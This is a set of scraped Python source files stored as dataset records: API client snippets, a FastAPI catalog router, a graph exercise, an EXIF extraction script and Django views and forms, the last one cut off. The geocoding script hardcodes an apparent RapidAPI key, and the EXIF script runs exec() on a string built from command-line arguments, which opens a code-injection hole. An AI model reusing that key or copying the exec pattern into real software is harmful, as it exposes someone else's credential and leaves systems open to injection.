('polynomial', 28)\n])\ndef test_convex_decreasing_bumpy(interp_method, expected):\n \"\"\"test a bumpy convex decreasing function\"\"\"\n kn = KneeLocator(x_bumpy, y_bumpy, curve='convex',\n direction='decreasing', interp_method=interp_method)\n assert kn.knee == expected\n","sub_path":"tests/test_sample.py","file_name":"test_sample.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"312509999","text":"# import requests\n#\n# url = \"https://telize-v1.p.rapidapi.com/jsonip\"\n#\n# querystring = {\"callback\":\"getip\"}\n#\n# headers = {\n# 'x-rapidapi-key': \"13d4d1218dmshf7c108ebb52b32ap1a751ejsn0d7c1099f3a9\",\n# 'x-rapidapi-host': \"telize-v1.p.rapidapi.com\"\n# }\n#\n# response = requests.request(\"GET\", url, headers=headers, params=querystring)\n#\n# print(response.text)\n\n# import requests\n#\n# url = \"https://yandexgeocoderraygorodskijv1.p.rapidapi.com/getAddressByCoordinates\"\n#\n# payload = \"coordinates=%3CREQUIRED%3E\"\n# headers = {\n# 'content-type': \"application/x-www-form-urlencoded\",\n# 'x-rapidapi-key': \"13d4d1218dmshf7c108ebb52b32ap1a751ejsn0d7c1099f3a9\",\n# 'x-rapidapi-host': \"YandexGeocoderraygorodskijV1.p.rapidapi.com\"\n# }\n#\n# response = requests.request(\"POST\", url, data=payload, headers=headers)\n#\n# print(response.text)\n\nimport requests\n\nurl = \"https://google-maps-geocoding.p.rapidapi.com/geocode/json\"\n\nquerystring = {\"latlng\":\"40.714224,-73.96145\",\"language\":\"en\"}\n\nheaders = {\n 'x-rapidapi-key': \"13d4d1218dmshf7c108ebb52b32ap1a751ejsn0d7c1099f3a9\",\n 'x-rapidapi-host': \"google-maps-geocoding.p.rapidapi.com\"\n }\n\nresponse = requests.request(\"GET\", url, headers=headers, params=querystring)\n\nprint(response.text)","sub_path":"Test/ipaddress.py","file_name":"ipaddress.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"534232338","text":"# pylint: disable=too-many-arguments\n\nimport asyncio\nimport logging\nimport urllib.parse\nfrom typing import Any, Dict, List, Optional, Set, Tuple\n\nfrom fastapi import APIRouter, Depends, Header, HTTPException, status\nfrom models_library.services import (\n KEY_RE,\n VERSION_RE,\n ServiceAccessRightsAtDB,\n ServiceMetaDataAtDB,\n ServiceType,\n)\nfrom pydantic import ValidationError, constr\nfrom pydantic.types import PositiveInt\nfrom starlette.requests import Request\n\nfrom ...db.repositories.groups import GroupsRepository\nfrom ...db.repositories.services import ServicesRepository\nfrom ...models.schemas.services import ServiceOut, ServiceUpdate\nfrom ...services.frontend_services import get_frontend_service, is_frontend_service\nfrom ...utils.pools import non_blocking_process_pool_executor\nfrom ...utils.requests_decorators import cancellable_request\nfrom ..dependencies.database import get_repository\nfrom ..dependencies.director import DirectorApi, get_director_api\n\nrouter = APIRouter()\nlogger = logging.getLogger(__name__)\n\nServicesSelection = Set[Tuple[str, str]]\n\n# These are equivalent to pydantic export models but for responses\n# SEE https://pydantic-docs.helpmanual.io/usage/exporting_models/#modeldict\n# SEE https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter\nRESPONSE_MODEL_POLICY = {\n \"response_model_by_alias\": True,\n \"response_model_exclude_unset\": True,\n \"response_model_exclude_defaults\": False,\n \"response_model_exclude_none\": False,\n}\n\n\ndef _prepare_service_details(\n service_in_registry: Dict[str, Any],\n service_in_db: ServiceMetaDataAtDB,\n service_access_rights_in_db: List[ServiceAccessRightsAtDB],\n service_owner: Optional[str],\n) -> Optional[ServiceOut]:\n # compose service from registry and DB\n composed_service = service_in_registry\n composed_service.update(\n service_in_db.dict(exclude_unset=True, exclude={\"owner\"}),\n access_rights={rights.gid: rights for rights in service_access_rights_in_db},\n owner=service_owner if service_owner else None,\n )\n\n # validate the service\n validated_service = None\n try:\n validated_service = ServiceOut(**composed_service)\n except ValidationError as exc:\n logger.warning(\n \"could not validate service [%s:%s]: %s\",\n composed_service.get(\"key\"),\n composed_service.get(\"version\"),\n exc,\n )\n return validated_service\n\n\n@router.get(\"\", response_model=List[ServiceOut], **RESPONSE_MODEL_POLICY)\n@cancellable_request\nasync def list_services(\n request: Request, # pylint:disable=unused-argument\n user_id: PositiveInt,\n details: Optional[bool] = True,\n director_client: DirectorApi = Depends(get_director_api),\n groups_repository: GroupsRepository = Depends(get_repository(GroupsRepository)),\n services_repo: ServicesRepository = Depends(get_repository(ServicesRepository)),\n x_simcore_products_name: str = Header(...),\n):\n # Access layer\n user_groups = await groups_repository.list_user_groups(user_id)\n if not user_groups:\n # deny access\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=\"You have unsufficient rights to access the services\",\n )\n\n # now get the executable or writable services\n services_in_db = {\n (s.key, s.version): s\n for s in await services_repo.list_services(\n gids=[group.gid for group in user_groups],\n execute_access=True,\n write_access=True,\n combine_access_with_and=False,\n product_name=x_simcore_products_name,\n )\n }\n\n # Non-detailed views from the services_repo database\n if not details:\n # only return a stripped down version\n # FIXME: add name, ddescription, type, etc...\n services_overview = [\n ServiceOut(\n key=key,\n version=version,\n name=\"nodetails\",\n description=\"nodetails\",\n type=ServiceType.COMPUTATIONAL,\n authors=[{\"name\": \"nodetails\", \"email\": \"nodetails@nodetails.com\"}],\n contact=\"nodetails@nodetails.com\",\n inputs={},\n outputs={},\n )\n for key, version in services_in_db\n ]\n return services_overview\n\n # let's get all the services access rights\n get_services_access_rights_task = services_repo.list_services_access_rights(\n key_versions=list(services_in_db.keys()), product_name=x_simcore_products_name\n )\n\n # let's get the service owners\n get_services_owner_emails_task = groups_repository.list_user_emails_from_gids(\n {s.owner for s in services_in_db.values() if s.owner}\n )\n\n # getting services from director\n get_registry_services_task = director_client.get(\"/services\")\n\n (\n services_in_registry,\n services_access_rights,\n services_owner_emails,\n ) = await asyncio.gather(\n get_registry_services_task,\n get_services_access_rights_task,\n get_services_owner_emails_task,\n )\n\n # NOTE: for the details of the services:\n # 1. we get all the services from the director-v0 (TODO: move the registry to the catalog)\n # 2. we filter the services using the visible ones from the db\n # 3. then we compose the final service using as a base the registry service, overriding with the same\n # service from the database, adding also the access rights and the owner as email address instead of gid\n # NOTE: this final step runs in a process pool so that it runs asynchronously and does not block in any way\n with non_blocking_process_pool_executor(max_workers=2) as pool:\n _target_services = (\n request.app.state.frontend_services_catalog + services_in_registry\n )\n services_details = await asyncio.gather(\n *[\n asyncio.get_event_loop().run_in_executor(\n pool,\n _prepare_service_details,\n s,\n services_in_db[s[\"key\"], s[\"version\"]],\n services_access_rights[s[\"key\"], s[\"version\"]],\n services_owner_emails.get(\n services_in_db[s[\"key\"], s[\"version\"]].owner\n ),\n )\n for s in _target_services\n if (s.get(\"key\"), s.get(\"version\")) in services_in_db\n ]\n )\n return [s for s in services_details if s is not None]\n\n\n@router.get(\n \"/{service_key:path}/{service_version}\",\n response_model=ServiceOut,\n **RESPONSE_MODEL_POLICY,\n)\nasync def get_service(\n user_id: int,\n service_key: constr(regex=KEY_RE),\n service_version: constr(regex=VERSION_RE),\n director_client: DirectorApi = Depends(get_director_api),\n groups_repository: GroupsRepository = Depends(get_repository(GroupsRepository)),\n services_repo: ServicesRepository = Depends(get_repository(ServicesRepository)),\n x_simcore_products_name: str = Header(None),\n):\n # check the service exists (raise HTTP_404_NOT_FOUND)\n if is_frontend_service(service_key):\n frontend_service: Dict[str, Any] = get_frontend_service(\n key=service_key, version=service_version\n )\n _service_data = frontend_service\n else:\n services_in_registry = await director_client.get(\n f\"/services/{urllib.parse.quote_plus(service_key)}/{service_version}\"\n )\n _service_data = services_in_registry[0]\n\n service: ServiceOut = ServiceOut.parse_obj(_service_data)\n\n # get the user groups\n user_groups = await groups_repository.list_user_groups(user_id)\n if not user_groups:\n # deny access\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=\"You have unsufficient rights to access the service\",\n )\n # check the user has access to this service and to which extent\n service_in_db = await services_repo.get_service(\n service_key,\n service_version,\n gids=[group.gid for group in user_groups],\n write_access=True,\n product_name=x_simcore_products_name,\n )\n if service_in_db:\n # we have full access, let's add the access to the output\n service_access_rights: List[\n ServiceAccessRightsAtDB\n ] = await services_repo.get_service_access_rights(\n service.key, service.version, product_name=x_simcore_products_name\n )\n service.access_rights = {rights.gid: rights for rights in service_access_rights}\n else:\n # check if we have executable rights\n service_in_db = await services_repo.get_service(\n service_key,\n service_version,\n gids=[group.gid for group in user_groups],\n execute_access=True,\n product_name=x_simcore_products_name,\n )\n if not service_in_db:\n # we have no access here\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=\"You have insufficient rights to access the service\",\n )\n # access is allowed, override some of the values with what is in the db\n service = service.copy(\n update=service_in_db.dict(exclude_unset=True, exclude={\"owner\"})\n )\n # the owner shall be converted to an email address\n if service_in_db.owner:\n service.owner = await groups_repository.get_user_email_from_gid(\n service_in_db.owner\n )\n\n return service\n\n\n@router.patch(\n \"/{service_key:path}/{service_version}\",\n response_model=ServiceOut,\n **RESPONSE_MODEL_POLICY,\n)\nasync def modify_service(\n # pylint: disable=too-many-arguments\n user_id: int,\n service_key: constr(regex=KEY_RE),\n service_version: constr(regex=VERSION_RE),\n updated_service: ServiceUpdate,\n director_client: DirectorApi = Depends(get_director_api),\n groups_repository: GroupsRepository = Depends(get_repository(GroupsRepository)),\n services_repo: ServicesRepository = Depends(get_repository(ServicesRepository)),\n x_simcore_products_name: str = Header(None),\n):\n if is_frontend_service(service_key):\n # NOTE: this is a temporary decision after discussing with OM\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=\"Cannot update front-end services\",\n )\n\n # check the service exists\n await director_client.get(\n f\"/services/{urllib.parse.quote_plus(service_key)}/{service_version}\"\n )\n # the director client already raises an exception if not found\n\n # get the user groups\n user_groups = await groups_repository.list_user_groups(user_id)\n if not user_groups:\n # deny access\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=\"You have unsufficient rights to access the service\",\n )\n # check the user has write access to this service\n writable_service = await services_repo.get_service(\n service_key,\n service_version,\n gids=[group.gid for group in user_groups],\n write_access=True,\n product_name=x_simcore_products_name,\n )\n if not writable_service:\n # deny access\n raise HTTPException(\n status_code=status.HTTP_403_FORBIDDEN,\n detail=\"You have unsufficient rights to modify the service\",\n )\n\n # let's modify the service then\n await services_repo.update_service(\n ServiceMetaDataAtDB(\n key=service_key,\n version=service_version,\n **updated_service.dict(exclude_unset=True),\n )\n )\n # let's modify the service access rights (they can be added/removed/modified)\n current_gids_in_db = [\n r.gid\n for r in await services_repo.get_service_access_rights(\n service_key, service_version, product_name=x_simcore_products_name\n )\n ]\n\n if updated_service.access_rights:\n # start by updating/inserting new entries\n new_access_rights = [\n ServiceAccessRightsAtDB(\n key=service_key,\n version=service_version,\n gid=gid,\n execute_access=rights.execute_access,\n write_access=rights.write_access,\n product_name=x_simcore_products_name,\n )\n for gid, rights in updated_service.access_rights.items()\n ]\n await services_repo.upsert_service_access_rights(new_access_rights)\n\n # then delete the ones that were removed\n removed_gids = [\n gid\n for gid in current_gids_in_db\n if gid not in updated_service.access_rights\n ]\n deleted_access_rights = [\n ServiceAccessRightsAtDB(\n key=service_key,\n version=service_version,\n gid=gid,\n product_name=x_simcore_products_name,\n )\n for gid in removed_gids\n ]\n await services_repo.delete_service_access_rights(deleted_access_rights)\n\n # now return the service\n return await get_service(\n user_id,\n service_key,\n service_version,\n director_client,\n groups_repository,\n services_repo,\n x_simcore_products_name,\n )\n","sub_path":"services/catalog/src/simcore_service_catalog/api/routes/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":13408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"82874474","text":"import random\n\nfrom util import Queue\n\n\nclass User:\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return self.name\n\n\nclass SocialGraph:\n def __init__(self):\n self.lastID = 0\n self.users = {}\n self.friendships = {}\n\n def addFriendship(self, userID, friendID):\n \"\"\"\n Creates a bi-directional friendship\n \"\"\"\n if userID == friendID:\n print(\"WARNING: You cannot be friends with yourself\")\n elif friendID in self.friendships[userID] or userID in self.friendships[friendID]:\n print(\"WARNING: Friendship already exists\")\n else:\n self.friendships[userID].add(friendID)\n self.friendships[friendID].add(userID)\n\n def addUser(self, name):\n \"\"\"\n Create a new user with a sequential integer ID\n \"\"\"\n self.lastID += 1 # automatically increment the ID to assign the new user\n self.users[self.lastID] = User(name)\n self.friendships[self.lastID] = set()\n\n def populateGraph(self, numUsers, avgFriendships):\n \"\"\"\n Takes a number of users and an average number of friendships\n as arguments\n\n Creates that number of users and a randomly distributed friendships\n between those users.\n\n The number of users must be greater than the average number of friendships.\n \"\"\"\n # Reset graph\n self.lastID = 0\n self.users = {}\n self.friendships = {}\n\n # !!!! IMPLEMENT ME\n # Add users\n # call addUser() until our number of users is numUsers\n for i in range(numUsers):\n self.addUser(f\"User {i+1}\")\n\n # Create random friendships\n # totalFriendships = avgFriendships * numUsers\n # Generate a list of all possible friendships\n\n possibleFriendships = []\n # Avoid dups by ensuring the first ID is smaller than the second\n for userID in self.users:\n for friendID in range(userID + 1, self.lastID + 1):\n possibleFriendships.append((userID, friendID))\n\n # Shuffle the list\n random.shuffle(possibleFriendships)\n print(\"random friendships:\")\n print(possibleFriendships)\n\n # Slice off totalFriendships from the front, create friendships\n totalFriendships = avgFriendships * numUsers // 2\n print(f\"Friendships to create: {totalFriendships}\\n\")\n for i in range(totalFriendships):\n friendship = possibleFriendships[i]\n self.addFriendship(friendship[0], friendship[1])\n\n def getAllSocialPaths(self, userID):\n \"\"\"\n Takes a user's userID as an argument\n\n Returns a dictionary containing every user in that user's\n extended network with the shortest friendship path between them.\n\n The key is the friend's ID and the value is the path.\n \"\"\"\n\n # Take this:\n # userID = argument\n\n # Return dictionary with:\n # friendID = key\n # path = value\n # example:\n # {friendID: [shortest path to friendID], friendID: [path], etc.}\n\n # vert is userID\n # edges are friendID\n\n # using id's from all generated friends\n # use BFS to get path from current id of friend\n # add path from current id to userIDarg as value to that userID\n # set value equal to id key\n\n visited = {} # Note that this is a dictionary, not a set\n\n # for every person in friendships...\n for id in self.friendships:\n # set value equal to path generated from BFS\n visited[id] = self.bfs_social(userID, id)\n\n print(f\"visisted allSocialPaths: {visited}\")\n return visited\n\n def bfs_social(self, starting_id, ending_id):\n\n # Create an empty queue\n q = Queue()\n # add starting id to queue\n q.enqueue([starting_id])\n\n # create an empty set for visited verts\n visited = set()\n\n while q.size() > 0:\n path = q.dequeue()\n v = path[-1]\n if v not in visited:\n # check if v is target\n if v == ending_id:\n # return entire path\n return path\n # Mark it as visited..\n visited.add(v)\n # Then add a path to it's neighbors to the back of the que\n for neighbor in self.friendships[v]:\n copy = list(path)\n # append neighbor to the back\n copy.append(neighbor)\n q.enqueue(copy)\n\n\nif __name__ == '__main__':\n sg = SocialGraph()\n sg.populateGraph(10, 2)\n print(sg.friendships)\n connections = sg.getAllSocialPaths(1)\n print(connections)\n\n# Example:\n # sg = SocialGraph()\n # sg.populateGraph(10, 2)\n # print(sg.friendships)\n # {1: {8, 10, 5}, 2: {10, 5, 7}, 3: {4}, 4: {9, 3}, 5: {8, 1, 2},\n # 6: {10}, 7: {2}, 8: {1, 5}, 9: {4}, 10: {1, 2, 6}}\n # connections = sg.getAllSocialPaths(1)\n # print(connections)\n # {1: [1], 8: [1, 8], 10: [1, 10], 5: [1, 5], 2: [1, 10, 2],\n # 6: [1, 10, 6], 7: [1, 10, 2, 7]}\n","sub_path":"projects/social/social.py","file_name":"social.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"367284985","text":"# -*- coding: utf-8 -*-\nimport exiftool\nimport fnmatch\nimport os\nimport os.path\nimport re\nimport csv\nimport sys\nfrom urllib import unquote\n\nexifKey = [\n\t\"id\",\n\t\"fileName\",\n\t\"origiName\",\n\t\"Composite:HyperfocalDistance\", \n\t\"EXIF:FocalLengthIn35mmFormat\", \n\t\"EXIF:FocalLength\", \n\t\"Composite:Aperture\", \n\t\"EXIF:GPSDateStamp\", \n\t\"EXIF:GPSTimeStamp\", \n\t\"Composite:GPSDateTime\", \n\t\"EXIF:DateTimeOriginal\", \n\t\"MakerNotes:WorldTimeLocation\", \n\t\"EXIF:GPSVersionID\", \n\t\"EXIF:GPSLatitude\", \n\t\"EXIF:GPSLatitudeRef\", \n\t\"EXIF:GPSLongitude\", \n\t\"EXIF:GPSLongitudeRef\", \n\t\"Composite:GPSPosition\", \n\t\"EXIF:GPSSatellites\", \n\t\"EXIF:GPSAltitude\", \n\t\"EXIF:GPSAltitudeRef\", \n\t\"EXIF:GPSStatus\", \n\t\"EXIF:GPSMapDatum\", \n\t\"EXIF:GPSImgDirection\", \n\t\"EXIF:GPSImgDirectionRef\", \n\t\"EXIF:GPSMeasureMode\",\n\t\"EXIF:ISO\",\n\t\"Composite:ShutterSpeed\"\n]\npathKey = [\"id\", \"fileName\", \"origiName\", \"original\", \"thumbnail\"]\n\n# read a file ---------------------------------------\ndef get_exifdata(fileName, origiName):\n\twith exiftool.ExifTool() as et:\n\t metadata = et.get_metadata(fileName)\n\n\t# output exif informatioon\t\n\tfileAddrLen = fileName.rindex(\"/\") + 1\t# ex : ../uploadImg/original/\n\tidLen = fileName.rindex(\".\") - fileAddrLen\n\tvalue = [fileName[fileAddrLen:fileAddrLen + idLen], fileName[fileAddrLen:], origiName]\n\tfor i in range(3, len(exifKey), 1):\n\t\tif exifKey[i] in metadata:\n\t\t\tvalue.append(metadata[exifKey[i]])\n\t\telse:\n\t\t\tvalue.append('N/A')\n\tif not os.path.isfile('./uploadImg/exifdata.csv'):\n\t\tdata = [exifKey]\n\t\tdata.append(value)\n\telse:\n\t\tdata = [value]\n\tf = file('./uploadImg/exifdata.csv', 'ab')\n\tw = csv.writer(f)\n\tw.writerows(data)\n\tf.close()\n\n\t# output path informatioon\n\t# value = [\tfileName[fileAddrLen:fileAddrLen + idLen], \n\t# \t\t\tfileName[fileAddrLen:], \n\t# \t\t\torigiName, \n\t# \t\t\t\"./uploadImg/original/\", \n\t# \t\t\t\"./uploadImg/thumbnail/\"]\n\t# if not os.path.isfile('./uploadImg/location.csv'):\n\t# \tdata = [pathKey]\n\t# \tdata.append(value)\n\t# else:\n\t# \tdata = [value]\n\t# f = file('./uploadImg/location.csv', 'ab')\n\t# w = csv.writer(f)\n\t# w.writerows(data)\n\t# f.close()\n\n# read all files in a directory -----------------------------\ndef get_exifdata_dir(directory):\n\tfileList = []\n\tincludes = ['*.jpg', '*.gif', '*.JPG', '*.GIF'] # for files only\n\texcludes = [directory + '\\\\*\\\\*'] # for dirs and files\n\n\t# transform glob patterns to regular expressions\n\tincludes = r'|'.join([fnmatch.translate(x) for x in includes])\n\texcludes = r'|'.join([fnmatch.translate(x) for x in excludes]) or r'$.'\n\t# create file list\n\tfor root, dirs, files in os.walk(directory):\n\t files = [os.path.join(root, f) for f in files]\n\t files = [f for f in files if not re.match(excludes, f)]\n\t files = [f for f in files if re.match(includes, f)]\n\t for fname in files:\n\t # fileList.append(fname[2:])\n\t fileList.append(fname)\n\n\twith exiftool.ExifTool() as et:\n\t metadata = et.get_metadata_batch(fileList)\n\t# data = [('SourceFile','group:tag', 'value')]\n\tvalue = []\n\tdata = []\n\tif not os.path.isfile('../uploadImg/exifdata.csv'):\n\t\tdata.append(exifKey)\n\tfor d in metadata:\n\t\tfileAddrLen = d['SourceFile'].rindex(\"/\") + 1\t# ex : ../uploadImg/original/\n\t\tfileName = d['SourceFile'][fileAddrLen:]\t\t# ex : 1039ie4ji.jpg\n\t\tfileId = fileName[0:fileName.rindex(\".\")]\n\t\tvalue = [fileId, fileName, fileName]\n\t\tfor i in range(3, len(exifKey), 1):\n\t\t\tif exifKey[i] in d:\n\t\t\t\tvalue.append(d[exifKey[i]])\n\t\t\telse:\n\t\t\t\tvalue.append('N/A')\n\t\tdata.append(value)\n\tf = file('../uploadImg/exifdata.csv', 'ab')\n\tw = csv.writer(f)\n\tw.writerows(data)\n\tf.close()\n\n# read all files below a directory --------------------------\ndef get_exifdata_dirs(directory):\n\tfileList = []\n\tincludes = ['*.jpg', '*.gif', '*.JPG', '*.GIF'] # for files only\n\n\t# transform glob patterns to regular expressions\n\tincludes = r'|'.join([fnmatch.translate(x) for x in includes])\n\t# create file list\n\tfor root, dirs, files in os.walk(directory):\n\t files = [os.path.join(root, f) for f in files]\n\t files = [f for f in files if re.match(includes, f)]\n\t for fname in files:\n\t fileList.append(fname)\n\n\twith exiftool.ExifTool() as et:\n\t metadata = et.get_metadata_batch(fileList)\n\tdata = [('SourceFile','group:tag', 'value')]\n\tfor d in metadata:\n\t\tfor p in exifKey:\n\t\t\tdata.append((d[\"SourceFile\"], p, d[p]))\n\tf = file('./exifdata_dirs.csv', 'wb')\n\tw = csv.writer(f)\n\tw.writerows(data)\n\tf.close()\n\n# ------ change set here ----- #\ndef run(fileName, origiName):\n# def run():\n\t# ------ change set here ----- #\n\tcmd = \"get_exifdata('\"+ fileName +\"', '\"+ unquote(origiName).replace('+',' ') +\"')\"\n\texec(cmd)\n\t# get_exifdata_dir(\"..\\uploadImg\\original\") #\n\n# ------ change set here ----- #\nrun(sys.argv[1], sys.argv[2])\n# run()\n","sub_path":"mm/app/exifFunction.py","file_name":"exifFunction.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"209010101","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.http.response import HttpResponse\nfrom django.shortcuts import render,redirect\nfrom django.contrib.auth import login ,logout,authenticate\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom .models import profilemodel,Post\n'''Showing Posts here'''\ndef index(request):\n if request.user.is_authenticated:\n post = Post.objects.filter(profileuser__followers=request.user)\n \n return render(request,\"myfaceapp/index.html\",{'post':post})\n else:\n return redirect(\"signup\")\n \n'''Updating Profile View'''\ndef profile_upload(request):\n if request.user.is_authenticated:\n if request.method == 'POST':\n user_bio = request.POST['bio']\n profile_pic = request.FILES['file']\n profile_upload = profilemodel.objects.create(image=profile_pic,bio=user_bio,user=request.user)\n if profile_upload:\n return redirect(\"profile\")\n else:\n return HttpResponse(\"Error! Please Try Again Later\")\n return render(request,\"myfaceapp/profile-upload.html\")\n else:\n return redirect(\"signup\")\n\n'''Showing Profile '''\ndef profile(request):\n if request.user.is_authenticated:\n profile = profilemodel.objects.get(user=request.user)\n posts = Post.objects.filter(profileuser=profile)\n print(posts)\n return render(request,\"myfaceapp/profile.html\",{'profile':profile,'posts':posts})\n else:\n return redirect(\"/signup\")\n\n'''Sign Up And Redirecting to profile page '''\ndef signup(request):\n if request.method == 'POST':\n email = request.POST['email']\n username = request.POST['username']\n fname = request.POST['fname']\n lname = request.POST['lname']\n password = request.POST['password']\n if User.objects.filter(username=username).first():\n messages.warning(request,\"Username already exists\")\n return redirect(\"signup\")\n else:\n a = User.objects.create_user(username,email,password)\n a.first_name = fname\n a.last_name = lname\n a.save()\n if a:\n user = authenticate(username=username,password=password)\n if user is not None:\n login(request,user)\n return redirect('uploadprofile')\n return render(request,\"myfaceapp/sign.html\",{})\n\n'''For logout'''\ndef logout1(request):\n logout(request)\n return redirect(\"signup\")\n \n'''Search '''\ndef search(request):\n sterm = request.GET.get('search1',None)\n if sterm == None:\n return redirect('index')\n else:\n user = profilemodel.objects.filter(user__username__icontains= sterm)\n \n return render(request,'myfaceapp/search.html',{'q': user})\n\n'''Following user here'''\ndef follow_user(request):\n if request.method == 'POST':\n usertofollow = request.POST['user']\n user = User.objects.get(username = usertofollow)\n activeuser = User.objects.get(username = request.user)\n followingmodel = profilemodel.objects.get(user=activeuser)\n followmodel = profilemodel.objects.get(user = user)\n followingmodel.following.add(user)\n followmodel.followers.add(request.user)\n print(followmodel.user)\n\n \n return redirect(\"search\")\n'''For logging Users'''\ndef login1(request):\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username,password=password)\n if user is not None:\n login(request,user)\n return redirect('profile')\n else:\n messages.warning(request,\"Username Doesn't exist\")\n return redirect(\"signup\")\n\n''' For Uploading Post'''\ndef uploadpost(request):\n if request.user.is_authenticated:\n if request.method == 'POST':\n profile = profilemodel.objects.get(user=request.user)\n postdesc = request.POST['desc']\n file = request.FILES['file']\n posts = Post.objects.create(post=file,profileuser=profile,user=request.user)\n return render(request,'myfaceapp/upload-post.html')\n else:\n return redirect(\"signup\")\n\ndef likepost(request,id):\n if request.method == 'POST':\n pid = id\n post = Post.objects.get(id=pid)\n post.likes.add(request.user)\n return redirect('index')","sub_path":"myfaceapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"612928995","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Web presentation Link, LinkType classes\"\"\"\n\n#from django import template\n#from django import http\nfrom django.shortcuts import redirect\n# render_to_response, get_object_or_404, get_list_or_404, HttpResponse\nfrom django.utils.translation import ugettext as _\n#from django.utils.decorators import method_decorator\nfrom django.utils.encoding import smart_unicode\n#from django.views.decorators.cache import cache_control\n#from django.views.decorators.cache import never_cache\n\n#from django.views.decorators.csrf import csrf_protect\n#from django.contrib.auth.decorators import login_required\nfrom django.forms import models as model_forms\nfrom django.forms import ModelForm, CharField\n\nfrom django.contrib import messages\n#from django.contrib.auth.models import Group\n#from django.db import transaction\n#from django.db.models import Q\n#from copy import copy\n#from django.views.generic import CreateView, UpdateView\n#import datetime\n\nfrom labman2.data.validators import validate_newltype\nfrom labman2.data.views import (desktoplist, class_by_name)\n# general_context, save_data_ondesktop,\n# group_desktoplist, save_data_ingroups)\nfrom labman2.data.dataviews import DataCreateView, DataUpdateView\n\n\n#------------------------------------------------------------------------------\nclass ModelChoiceFieldReal(model_forms.ModelChoiceField):\n \"Generate the labels of real objects.\"\n\n\n def label_from_instance(self, obj):\n\n return smart_unicode(class_by_name(\n obj.classname.classname).objects.get(id=obj.id))\n\n#------------------------------------------------------------------------------\nclass LinkForm(ModelForm):\n 'Generate form for Link model'\n\n\n class Meta(): # pylint: disable=C0111,C1001,W0232,R0903\n\n model = class_by_name('Link')\n\n new_link_type = CharField(max_length=70, required=False,\n validators=[validate_newltype],\n help_text=_(u\" If you want to create New Link Type, \"\n \"insert it's name here\"))\n\n def clean(self):\n \"Data validation\"\n\n cleaned_data = self.cleaned_data\n link_type = cleaned_data.get(\"link_type\")\n new_link_type = cleaned_data.get(\"new_link_type\")\n subject = cleaned_data.get(\"subject\")\n propert = cleaned_data.get(\"property\")\n\n if not link_type:\n if not new_link_type:\n msg = _(u\"At least one link type should be selected \"\n \"(from LinkType or from New LinkType)\")\n self._errors[\"link_type\"] = self.error_class([msg])\n del cleaned_data[\"link_type\"]\n else:\n if subject and propert and [elem for elem in\n class_by_name('LinkType').objects.filter(\n classname1=subject.classname,\n classname2=propert.classname)\n if elem.link_type == new_link_type]:\n msg = _(u\"%s (%s - %s) link type exists and can be \"\n \"selected from Link type list\" % (new_link_type,\n subject.classname.classname,\n propert.classname.classname))\n self._errors[\"link_type\"] = self.error_class([msg])\n del cleaned_data[\"link_type\"]\n else:\n msg = u\"NEWLINKTYPE\"\n self._errors[\"link_type\"] = self.error_class([msg])\n del cleaned_data[\"link_type\"]\n else:\n if subject:\n if cleaned_data['subject'].classname != cleaned_data[\n 'link_type'].classname1:\n msg = _(u\"Type of subject does not correspond to \"\n \"that of link\")\n self._errors[\"subject\"] = self.error_class([msg])\n del cleaned_data[\"subject\"]\n if propert:\n if cleaned_data['property'].classname != cleaned_data[\n 'link_type'].classname2:\n msg = _(u\"Type of property does not correspond to \"\n \"that of link\")\n self._errors[\"property\"] = self.error_class([msg])\n del cleaned_data[\"property\"]\n if new_link_type:\n msg = _(u\"Only one link type should be selected \"\n \"(from LinkType or from New LinkType)\")\n self._errors[\"link_type\"] = self.error_class([msg])\n del cleaned_data[\"link_type\"]\n\n #nonidempotent\n if link_type.nonidempotent or not subject or not propert:\n pass\n #not nonidempotent+not commutative+not transitive\n elif not link_type.commutative and not link_type.transitive:\n if class_by_name('Link').objects.filter(subject=subject,\n property=propert,\n link_type=link_type).exists():\n msg = _(u\"Link with this Subject, Property and LinkType \"\n \"already exists.\")\n self._errors[\"subject\"] = self.error_class([msg])\n del cleaned_data[\"subject\"]\n #not nonidempotent+commutative+not transitive\n elif link_type.commutative and not link_type.transitive:\n if (class_by_name('Link').objects.filter(subject=propert,\n property=subject,\n link_type=link_type).exists() or\n class_by_name('Link').objects.filter(subject=subject,\n property=propert,\n link_type=link_type).exists()):\n msg = _(u\"LinkType is comutative. Existing links \"\n \"conflict with this Subject/Property pair.\")\n self._errors[\"subject\"] = self.error_class([msg])\n del cleaned_data[\"subject\"]\n #not nonidempotent+commutative+transitive\n elif link_type.commutative and link_type.transitive:\n result1 = class_by_name('Link').objects.all_transcomm(\n link_type.id, subject.id)\n result2 = class_by_name('Link').objects.all_transcomm(\n link_type.id, propert.id)\n if (subject.id in result2) and (propert.id in result1):\n msg = _(u\"LinkType is comutative and transitive. Existing \"\n \"links conflict with this Subject/Property pair.\")\n self._errors[\"subject\"] = self.error_class([msg])\n del cleaned_data[\"subject\"]\n #not nonidempotent+not commutative+transitive\n elif not link_type.commutative and link_type.transitive:\n des_result = class_by_name('Link').objects.descendants(\n 